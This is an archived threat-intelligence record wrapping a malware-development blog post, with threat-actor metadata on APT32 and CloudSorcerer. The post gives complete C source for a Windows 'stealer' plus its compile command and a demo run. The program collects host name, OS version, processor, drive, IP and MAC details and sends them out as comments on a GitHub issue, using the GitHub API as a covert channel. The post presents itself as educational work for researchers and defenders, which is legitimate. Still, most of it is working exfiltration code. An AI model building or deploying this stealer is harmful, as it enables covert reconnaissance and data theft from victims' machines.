{
	"id": "c1d82cc1-49a0-43b2-bd16-309671ec1180",
	"created_at": "2026-04-06T00:09:31.644751Z",
	"updated_at": "2026-04-10T13:12:24.502165Z",
	"deleted_at": null,
	"sha1_hash": "ee32f2eec139ff4dd5d7c9ab3fc3f15702bc5417",
	"title": "Malware development trick 44: Stealing data via legit GitHub API. Simple C example.",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1286244,
	"plain_text": "Malware development trick 44: Stealing data via legit GitHub API.\r\nSimple C example.\r\nBy cocomelonc\r\nPublished: 2025-01-19 · Archived: 2026-04-05 12:36:38 UTC\r\n5 minute read\r\n﷽\r\nHello, cybersecurity enthusiasts and white hackers!\r\nIn the previous examples we created a simple Proof of Concept of using legit connections via Telegram Bot API,\r\nVirusTotal API and Discord Bot API for “stealing” simplest information from victim’s Windows machine.\r\nWhat about next legit application: GitHub and it’s GitHub API feature?\r\npractical examplePermalink\r\nMany of yours may think that I am simply copying the same code, please note that this is only for understanding\r\nthe concepts. First of all create Github issue. I just used my ejpt repo:\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 1 of 13\n\nNew issue called Meow in my case.\r\nhttps://github.com/cocomelonc/ejpt/issues/1\r\nAt the next step, we need to generate a classic token for our app. So, according to the Github settings page, we just\r\ncreate new token \"meow2\" :\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 2 of 13\n\nSo, first of all, define GitHub credentials and target repository details to our code:\r\n#define GITHUB_TOKEN \"github_classic_token_here\" // your token here\r\n#define REPO_OWNER \"cocomelonc\"\r\n#define REPO_NAME \"ejpt\"\r\n#define ISSUE_NUMBER \"1\" // issue num\r\nThen, built a GitHub-specific URL to post a comment on an issue, added a Bearer token header using a GitHub\r\npersonal access token and constructed the request body to match the GitHub API format for creating issue\r\ncomments logic:\r\n// send data to GitHub using winhttp\r\nint sendToGitHub(const char* comment) {\r\n HINTERNET hSession = NULL;\r\n HINTERNET hConnect = NULL;\r\n hSession = WinHttpOpen(L\"UserAgent\", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROX\r\n if (hSession == NULL) {\r\n fprintf(stderr, \"WinHttpOpen. error: %d has occurred.\\n\", GetLastError());\r\n return 1;\r\n }\r\n hConnect = WinHttpConnect(hSession, L\"api.github.com\", INTERNET_DEFAULT_HTTPS_PORT, 0);\r\n if (hConnect == NULL) {\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 3 of 13\n\nfprintf(stderr, \"WinHttpConnect. error: %d has occurred.\\n\", GetLastError());\r\n WinHttpCloseHandle(hSession);\r\n return 1;\r\n }\r\n WCHAR url[256];\r\n swprintf(url, 256, L\"/repos/%s/%s/issues/%s/comments\", REPO_OWNER, REPO_NAME, ISSUE_NUMBER);\r\n HINTERNET hRequest = WinHttpOpenRequest(hConnect, L\"POST\", url, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCE\r\n if (hRequest == NULL) {\r\n fprintf(stderr, \"WinHttpOpenRequest. error: %d has occurred.\\n\", GetLastError());\r\n WinHttpCloseHandle(hConnect);\r\n WinHttpCloseHandle(hSession);\r\n return 1;\r\n }\r\n // construct the request body\r\n char json_body[1024];\r\n snprintf(json_body, sizeof(json_body), \"{\\\"body\\\": \\\"%s\\\"}\", comment);\r\n // set the headers\r\n WCHAR headers[512];\r\n swprintf(headers, 512, L\"Authorization: Bearer %s\\r\\nUser-Agent: hack-client\\r\\nContent-Type: application/json\r\n if (!WinHttpSendRequest(hRequest, headers, -1, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0)) {\r\n fprintf(stderr, \"WinHttpSendRequest. error %d has occurred.\\n\", GetLastError());\r\n WinHttpCloseHandle(hRequest);\r\n WinHttpCloseHandle(hConnect);\r\n WinHttpCloseHandle(hSession);\r\n return 1;\r\n }\r\n BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);\r\n if (!hResponse) {\r\n fprintf(stderr, \"WinHttpReceiveResponse. error %d has occurred.\\n\", GetLastError());\r\n WinHttpCloseHandle(hRequest);\r\n WinHttpCloseHandle(hConnect);\r\n WinHttpCloseHandle(hSession);\r\n return 1;\r\n }\r\n DWORD code = 0;\r\n DWORD codeS = sizeof(code);\r\n if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_B\r\n if (code == 201) {\r\n printf(\"comment posted successfully.\\n\");\r\n } else {\r\n printf(\"failed to post comment. HTTP Status Code: %d\\n\", code);\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 4 of 13\n\n}\r\n } else {\r\n DWORD error = GetLastError();\r\n LPSTR buffer = NULL;\r\n FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,\r\n NULL, error, 0, (LPSTR)\u0026buffer, 0, NULL);\r\n printf(\"unknown error: %s\\n\", buffer);\r\n LocalFree(buffer);\r\n }\r\n WinHttpCloseHandle(hConnect);\r\n WinHttpCloseHandle(hRequest);\r\n WinHttpCloseHandle(hSession);\r\n return 0;\r\n}\r\nHere, I used the REST API to manage comments on issues and pull requests\r\nThe full source of our simple stealer is looks like this ( hack.c ):\r\n/*\r\n * hack.c\r\n * sending systeminfo via legit URL. GitHub API\r\n * author @cocomelonc\r\n */\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n#include \u003cstring.h\u003e\r\n#include \u003cwindows.h\u003e\r\n#include \u003cwinhttp.h\u003e\r\n#include \u003ciphlpapi.h\u003e\r\n#define GITHUB_TOKEN \"github_classic_token_here\"\r\n#define REPO_OWNER \"your_github_username\"\r\n#define REPO_NAME \"your_repo_name\"\r\n#define ISSUE_NUMBER \"1\"\r\n// send data to GitHub using winhttp\r\nint sendToGitHub(const char* comment) {\r\n HINTERNET hSession = NULL;\r\n HINTERNET hConnect = NULL;\r\n hSession = WinHttpOpen(L\"UserAgent\", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROX\r\n if (hSession == NULL) {\r\n fprintf(stderr, \"WinHttpOpen. error: %d has occurred.\\n\", GetLastError());\r\n return 1;\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 5 of 13\n\n}\r\n hConnect = WinHttpConnect(hSession, L\"api.github.com\", INTERNET_DEFAULT_HTTPS_PORT, 0);\r\n if (hConnect == NULL) {\r\n fprintf(stderr, \"WinHttpConnect. error: %d has occurred.\\n\", GetLastError());\r\n WinHttpCloseHandle(hSession);\r\n return 1;\r\n }\r\n WCHAR url[256];\r\n swprintf(url, 256, L\"/repos/%s/%s/issues/%s/comments\", REPO_OWNER, REPO_NAME, ISSUE_NUMBER);\r\n HINTERNET hRequest = WinHttpOpenRequest(hConnect, L\"POST\", url, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCE\r\n if (hRequest == NULL) {\r\n fprintf(stderr, \"WinHttpOpenRequest. error: %d has occurred.\\n\", GetLastError());\r\n WinHttpCloseHandle(hConnect);\r\n WinHttpCloseHandle(hSession);\r\n return 1;\r\n }\r\n // construct the request body\r\n char json_body[1024];\r\n snprintf(json_body, sizeof(json_body), \"{\\\"body\\\": \\\"%s\\\"}\", comment);\r\n // set the headers\r\n WCHAR headers[512];\r\n swprintf(headers, 512, L\"Authorization: Bearer %s\\r\\nUser-Agent: hack-client\\r\\nContent-Type: application/json\r\n if (!WinHttpSendRequest(hRequest, headers, -1, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0)) {\r\n fprintf(stderr, \"WinHttpSendRequest. error %d has occurred.\\n\", GetLastError());\r\n WinHttpCloseHandle(hRequest);\r\n WinHttpCloseHandle(hConnect);\r\n WinHttpCloseHandle(hSession);\r\n return 1;\r\n }\r\n BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);\r\n if (!hResponse) {\r\n fprintf(stderr, \"WinHttpReceiveResponse. error %d has occurred.\\n\", GetLastError());\r\n WinHttpCloseHandle(hRequest);\r\n WinHttpCloseHandle(hConnect);\r\n WinHttpCloseHandle(hSession);\r\n return 1;\r\n }\r\n DWORD code = 0;\r\n DWORD codeS = sizeof(code);\r\n if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_B\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 6 of 13\n\nif (code == 201) {\r\n printf(\"comment posted successfully.\\n\");\r\n } else {\r\n printf(\"failed to post comment. HTTP Status Code: %d\\n\", code);\r\n }\r\n } else {\r\n DWORD error = GetLastError();\r\n LPSTR buffer = NULL;\r\n FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,\r\n NULL, error, 0, (LPSTR)\u0026buffer, 0, NULL);\r\n printf(\"unknown error: %s\\n\", buffer);\r\n LocalFree(buffer);\r\n }\r\n WinHttpCloseHandle(hConnect);\r\n WinHttpCloseHandle(hRequest);\r\n WinHttpCloseHandle(hSession);\r\n return 0;\r\n}\r\n// get systeminfo and send as comment via GitHub API logic\r\nint main(int argc, char* argv[]) {\r\n const char* message = \"meow-meow\";\r\n sendToGitHub(message);\r\n char systemInfo[4096];\r\n // Get host name\r\n CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];\r\n DWORD size = sizeof(hostName) / sizeof(hostName[0]);\r\n GetComputerNameA(hostName, \u0026size);\r\n // Get OS version\r\n OSVERSIONINFO osVersion;\r\n osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);\r\n GetVersionEx(\u0026osVersion);\r\n // Get system information\r\n SYSTEM_INFO sysInfo;\r\n GetSystemInfo(\u0026sysInfo);\r\n // Get logical drive information\r\n DWORD drives = GetLogicalDrives();\r\n // Get IP address\r\n IP_ADAPTER_INFO adapterInfo[16];\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 7 of 13\n\nDWORD adapterInfoSize = sizeof(adapterInfo);\r\n if (GetAdaptersInfo(adapterInfo, \u0026adapterInfoSize) != ERROR_SUCCESS) {\r\n printf(\"GetAdaptersInfo failed. error: %d has occurred.\\n\", GetLastError());\r\n return 1;\r\n }\r\n snprintf(systemInfo, sizeof(systemInfo),\r\n \"Host Name: %s, \"\r\n \"OS Version: %d.%d.%d, \"\r\n \"Processor Architecture: %d, \"\r\n \"Number of Processors: %d, \"\r\n \"Logical Drives: %X, \",\r\n hostName,\r\n osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,\r\n sysInfo.wProcessorArchitecture,\r\n sysInfo.dwNumberOfProcessors,\r\n drives);\r\n // Add IP address information\r\n for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter-\u003eNext) {\r\n snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),\r\n \"Adapter Name: %s, \"\r\n \"IP Address: %s, \"\r\n \"Subnet Mask: %s, \"\r\n \"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\",\r\n adapter-\u003eAdapterName,\r\n adapter-\u003eIpAddressList.IpAddress.String,\r\n adapter-\u003eIpAddressList.IpMask.String,\r\n adapter-\u003eAddress[0], adapter-\u003eAddress[1], adapter-\u003eAddress[2],\r\n adapter-\u003eAddress[3], adapter-\u003eAddress[4], adapter-\u003eAddress[5]);\r\n }\r\n int result = sendToGitHub(systemInfo);\r\n if (result == 0) {\r\n printf(\"ok =^..^=\\n\");\r\n } else {\r\n printf(\"nok \u003c3()~\\n\");\r\n }\r\n return 0;\r\n}\r\nAs usually, test via “meow-meow” comment, then send system information.\r\ndemoPermalink\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 8 of 13\n\nLet’s check everything in action.\r\nCompile our “stealer” hack.c :\r\nx86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sec\r\nAnd run it on my Windows 11 VM:\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 9 of 13\n\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 10 of 13\n\nAs you can see, messages posted successfully in our issue.\r\nRun on Windows 10 x64 VM with wireshark:\r\nAnd monitoring traffic via Wireshark we got an IP address 140.82.121.5 :\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 11 of 13\n\nRun whois:\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 12 of 13\n\nAs you can see, this is the our GitHub API IP address.\r\nEverything is worked perfectly! =^..^=\r\nAs you can see, any API service can be used as a C2 and Github is not the exception. Malware like BitRAT,\r\nRecordBreaker and APTs like APT32: OceanLotus use Github for malicious actions in the wild.\r\nI hope this post with practical example is useful for malware researchers, red teamers, spreads awareness to the\r\nblue teamers of this interesting technique.\r\nUsing Telegram API example\r\nUsing VirusTotal API example\r\nCrowdstrike blog: How Threat Actors Use GitHub Repositories to Deploy Malware\r\nAPT32: OceanLotus\r\nCloudSorcerer – A new APT targeting Russian government entities\r\nAbout Github’s IP addresses\r\nsource code in github\r\nThis is a practical case for educational purposes only.\r\nThanks for your time happy hacking and good bye!\r\nPS. All drawings and screenshots are mine\r\nSource: https://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nhttps://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html"
	],
	"report_names": [
		"malware-tricks-44.html"
	],
	"threat_actors": [
		{
			"id": "af509bbb-8d18-4903-a9bd-9e94099c6b30",
			"created_at": "2023-01-06T13:46:38.585525Z",
			"updated_at": "2026-04-10T02:00:03.030833Z",
			"deleted_at": null,
			"main_name": "APT32",
			"aliases": [
				"OceanLotus",
				"ATK17",
				"G0050",
				"APT-C-00",
				"APT-32",
				"Canvas Cyclone",
				"SeaLotus",
				"Ocean Buffalo",
				"OceanLotus Group",
				"Cobalt Kitty",
				"Sea Lotus",
				"APT 32",
				"POND LOACH",
				"TIN WOODLAWN",
				"Ocean Lotus"
			],
			"source_name": "MISPGALAXY:APT32",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "870f6f62-84f5-48ca-a18e-cf2902cd6924",
			"created_at": "2022-10-25T15:50:23.303818Z",
			"updated_at": "2026-04-10T02:00:05.301184Z",
			"deleted_at": null,
			"main_name": "APT32",
			"aliases": [
				"APT32",
				"SeaLotus",
				"OceanLotus",
				"APT-C-00",
				"Canvas Cyclone"
			],
			"source_name": "MITRE:APT32",
			"tools": [
				"Mimikatz",
				"ipconfig",
				"Kerrdown",
				"Cobalt Strike",
				"SOUNDBITE",
				"OSX_OCEANLOTUS.D",
				"KOMPROGO",
				"netsh",
				"RotaJakiro",
				"PHOREAL",
				"Arp",
				"Denis",
				"Goopy"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "5d1a4f32-cc52-4ee8-acab-993cfa2ef5ad",
			"created_at": "2024-07-09T02:00:04.425917Z",
			"updated_at": "2026-04-10T02:00:03.67013Z",
			"deleted_at": null,
			"main_name": "CloudSorcerer",
			"aliases": [],
			"source_name": "MISPGALAXY:CloudSorcerer",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "b1db2dce-5a2b-4fc4-85c2-d184acc956a0",
			"created_at": "2024-08-28T02:02:09.272572Z",
			"updated_at": "2026-04-10T02:00:04.622449Z",
			"deleted_at": null,
			"main_name": "CloudSorcerer",
			"aliases": [
				"Operation EastWind"
			],
			"source_name": "ETDA:CloudSorcerer",
			"tools": [
				"GrewApacha",
				"PlugY",
				"The CloudSorcerer"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "5da6b5fd-1955-412a-81aa-069fb50b6e31",
			"created_at": "2025-08-07T02:03:25.116085Z",
			"updated_at": "2026-04-10T02:00:03.668978Z",
			"deleted_at": null,
			"main_name": "TIN WOODLAWN",
			"aliases": [
				"APT32 ",
				"Cobalt Kitty",
				"OceanLotus",
				"WOODLAWN "
			],
			"source_name": "Secureworks:TIN WOODLAWN",
			"tools": [
				"Cobalt Strike",
				"Denis",
				"Goopy",
				"JEShell",
				"KerrDown",
				"Mimikatz",
				"Ratsnif",
				"Remy",
				"Rizzo",
				"RolandRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "2439ad53-39cc-4fff-8fdf-4028d65803c0",
			"created_at": "2022-10-25T16:07:23.353204Z",
			"updated_at": "2026-04-10T02:00:04.55407Z",
			"deleted_at": null,
			"main_name": "APT 32",
			"aliases": [
				"APT 32",
				"APT-C-00",
				"APT-LY-100",
				"ATK 17",
				"G0050",
				"Lotus Bane",
				"Ocean Buffalo",
				"OceanLotus",
				"Operation Cobalt Kitty",
				"Operation PhantomLance",
				"Pond Loach",
				"SeaLotus",
				"SectorF01",
				"Tin Woodlawn"
			],
			"source_name": "ETDA:APT 32",
			"tools": [
				"Agentemis",
				"Android.Backdoor.736.origin",
				"AtNow",
				"Backdoor.MacOS.OCEANLOTUS.F",
				"BadCake",
				"CACTUSTORCH",
				"CamCapture Plugin",
				"CinaRAT",
				"Cobalt Strike",
				"CobaltStrike",
				"Cuegoe",
				"DKMC",
				"Denis",
				"Goopy",
				"HiddenLotus",
				"KOMPROGO",
				"KerrDown",
				"METALJACK",
				"MSFvenom",
				"Mimikatz",
				"Nishang",
				"OSX_OCEANLOTUS.D",
				"OceanLotus",
				"PHOREAL",
				"PWNDROID1",
				"PhantomLance",
				"PowerSploit",
				"Quasar RAT",
				"QuasarRAT",
				"RatSnif",
				"Remy",
				"Remy RAT",
				"Rizzo",
				"Roland",
				"Roland RAT",
				"SOUNDBITE",
				"Salgorea",
				"Splinter RAT",
				"Terracotta VPN",
				"Yggdrasil",
				"cobeacon",
				"denesRAT",
				"fingerprintjs2"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434171,
	"ts_updated_at": 1775826744,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/ee32f2eec139ff4dd5d7c9ab3fc3f15702bc5417.pdf",
		"text": "https://archive.orkl.eu/ee32f2eec139ff4dd5d7c9ab3fc3f15702bc5417.txt",
		"img": "https://archive.orkl.eu/ee32f2eec139ff4dd5d7c9ab3fc3f15702bc5417.jpg"
	}
}